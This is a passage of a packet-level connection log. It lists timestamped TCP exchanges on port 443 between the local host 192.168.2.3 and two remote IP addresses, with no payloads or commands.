Nov 24, 2022 16:58:33.096988916 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.097129107 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.097481012 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.097573996 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.097574949 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.318557978 CET	49793	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.318633080 CET	443	49793	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.318747997 CET	49793	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.319050074 CET	49793	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.319082022 CET	443	49793	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.319173098 CET	443	49793	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.323507071 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.323537111 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.323741913 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.324203968 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.324229956 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.384594917 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.384780884 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.396190882 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.396217108 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.396888971 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.396969080 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.397627115 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.397644043 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.427676916 CET	49795	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.427756071 CET	443	49795	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.427834988 CET	49795	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.428217888 CET	49795	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.428260088 CET	443	49795	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.428369045 CET	443	49795	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.540131092 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.540314913 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.540364027 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.540431023 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.540504932 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.540602922 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.540926933 CET	443	49794	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.540992022 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.540992022 CET	49794	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.574075937 CET	49796	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.574151039 CET	443	49796	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.575217962 CET	49796	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.622505903 CET	49796	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.622576952 CET	443	49796	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.622822046 CET	443	49796	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.739682913 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.739761114 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.740298986 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.740907907 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.740937948 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.784665108 CET	49798	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.784735918 CET	443	49798	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.784833908 CET	49798	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.785165071 CET	49798	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.785197973 CET	443	49798	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.785247087 CET	443	49798	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.794579983 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.794714928 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.802448988 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.802489042 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.802851915 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.802922010 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.803693056 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.803708076 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.910778046 CET	49799	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.910851002 CET	443	49799	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.910953045 CET	49799	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.914372921 CET	49799	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.914410114 CET	443	49799	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.914530039 CET	443	49799	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.923141956 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.924087048 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.924134970 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.924201965 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.936556101 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.936814070 CET	443	49797	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.936907053 CET	49797	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.057312012 CET	49800	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.057398081 CET	443	49800	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.057521105 CET	49800	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.057955980 CET	49800	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.057990074 CET	443	49800	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.058136940 CET	443	49800	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.072175980 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.072264910 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.072379112 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.072998047 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.073044062 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.125745058 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.125844955 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.179481983 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.179547071 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.180258036 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.181111097 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.187614918 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.187652111 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.293473005 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.293600082 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.293647051 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.293819904 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.294207096 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.294261932 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.294444084 CET	443	49801	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.294527054 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.294559956 CET	49801	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.302716970 CET	49802	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.302773952 CET	443	49802	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.302994967 CET	49802	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.303319931 CET	49802	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.303349018 CET	443	49802	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.303397894 CET	443	49802	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.419002056 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.419075966 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.419173956 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.419763088 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.419811010 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.476638079 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.476783037 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.489087105 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.489203930 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.489799023 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.490391970 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.491039038 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.491058111 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.522973061 CET	49804	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.523026943 CET	443	49804	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.523113012 CET	49804	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.523456097 CET	49804	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.523473024 CET	443	49804	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.523545980 CET	443	49804	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.589082956 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.590080023 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.590099096 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.590152979 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.600233078 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.600373030 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.600460052 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.600730896 CET	443	49803	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.600789070 CET	49803	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.788080931 CET	49805	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.788158894 CET	443	49805	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.788319111 CET	49805	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.788701057 CET	49805	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.788733006 CET	443	49805	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.788834095 CET	443	49805	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.856755018 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.856817007 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.856920004 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.857670069 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.857702971 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.914558887 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.914705038 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.925612926 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.925641060 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.926328897 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.927165985 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.927839041 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:34.927854061 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:34.956315994 CET	49807	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.956383944 CET	443	49807	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.956504107 CET	49807	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.960069895 CET	49807	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:34.960108042 CET	443	49807	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:34.960237026 CET	443	49807	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.037497997 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.037645102 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.037703991 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.037703991 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.037857056 CET	49806	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.037889004 CET	443	49806	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.152345896 CET	49808	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.152447939 CET	443	49808	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.152558088 CET	49808	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.153013945 CET	49808	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.153069019 CET	443	49808	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.153157949 CET	443	49808	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.164129019 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.164191008 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.164273024 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.165631056 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.165662050 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.213273048 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.213368893 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.218096972 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.218111992 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.231277943 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.231300116 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.376980066 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.377270937 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.377302885 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.377368927 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.377968073 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.378077030 CET	443	49809	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.378145933 CET	49809	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.396579981 CET	49810	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.396644115 CET	443	49810	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.396763086 CET	49810	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.397183895 CET	49810	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.397214890 CET	443	49810	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.397294044 CET	443	49810	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.613188028 CET	49811	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.613251925 CET	443	49811	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.613631964 CET	49811	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.614003897 CET	49811	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.614037037 CET	443	49811	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.614149094 CET	443	49811	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.640611887 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.640682936 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.640779018 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.641325951 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.641360044 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.695544958 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.695702076 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.714039087 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.714087009 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.714612961 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.715653896 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.716281891 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.716306925 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.753235102 CET	49813	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.753302097 CET	443	49813	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.753412962 CET	49813	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.753793955 CET	49813	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.753837109 CET	443	49813	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.753921986 CET	443	49813	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.817174911 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.817323923 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.817496061 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.824594975 CET	49812	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:35.824634075 CET	443	49812	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:35.957420111 CET	49814	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.957468033 CET	443	49814	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.957617998 CET	49814	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.958002090 CET	49814	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:35.958025932 CET	443	49814	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:35.958128929 CET	443	49814	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.050987959 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.051100969 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.051206112 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.055524111 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.055592060 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.109918118 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.110059977 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.113581896 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.113598108 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.139086962 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.139111042 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.159754992 CET	49816	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.159810066 CET	443	49816	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.159888029 CET	49816	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.160336971 CET	49816	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.160360098 CET	443	49816	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.160475016 CET	443	49816	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.222683907 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.226409912 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.226438999 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.226507902 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.246545076 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.246695995 CET	443	49815	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.246813059 CET	49815	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.313857079 CET	49817	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.313921928 CET	443	49817	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.314035892 CET	49817	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.808794022 CET	49817	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:36.808868885 CET	443	49817	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.809043884 CET	443	49817	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:36.932806015 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.932888985 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.933010101 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.933942080 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:36.933984995 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.985685110 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:36.985841990 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.024997950 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.025070906 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.025887012 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.025993109 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.032008886 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.032044888 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.032495975 CET	49819	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.032552958 CET	443	49819	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.032677889 CET	49819	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.033042908 CET	49819	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.033072948 CET	443	49819	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.033166885 CET	443	49819	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.095700026 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.096061945 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.096107960 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.096190929 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.103584051 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.103739023 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.104202986 CET	443	49818	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.104378939 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.105014086 CET	49818	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.604222059 CET	49820	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.604266882 CET	443	49820	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.604396105 CET	49820	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.604768991 CET	49820	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.604788065 CET	443	49820	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.604872942 CET	443	49820	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.780467987 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.780545950 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.780672073 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.790610075 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.790658951 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.836114883 CET	49822	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.836174965 CET	443	49822	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.836312056 CET	49822	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.836690903 CET	49822	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:37.836720943 CET	443	49822	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.836807013 CET	443	49822	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:37.843956947 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.844048023 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.933306932 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.933379889 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.934345961 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:37.934839010 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.937711954 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:37.937741995 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.003624916 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.003737926 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.003784895 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.003823996 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.003846884 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.003875017 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.005426884 CET	49821	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.005469084 CET	443	49821	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.789145947 CET	49823	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:38.789235115 CET	443	49823	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:38.789395094 CET	49823	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:38.878492117 CET	49823	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:38.878546000 CET	443	49823	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:38.878751040 CET	443	49823	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:38.991295099 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.991329908 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:38.991436005 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.992024899 CET	49825	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:38.992042065 CET	443	49825	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:39.003484964 CET	49826	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:39.003514051 CET	443	49826	162.19.175.163	192.168.2.3
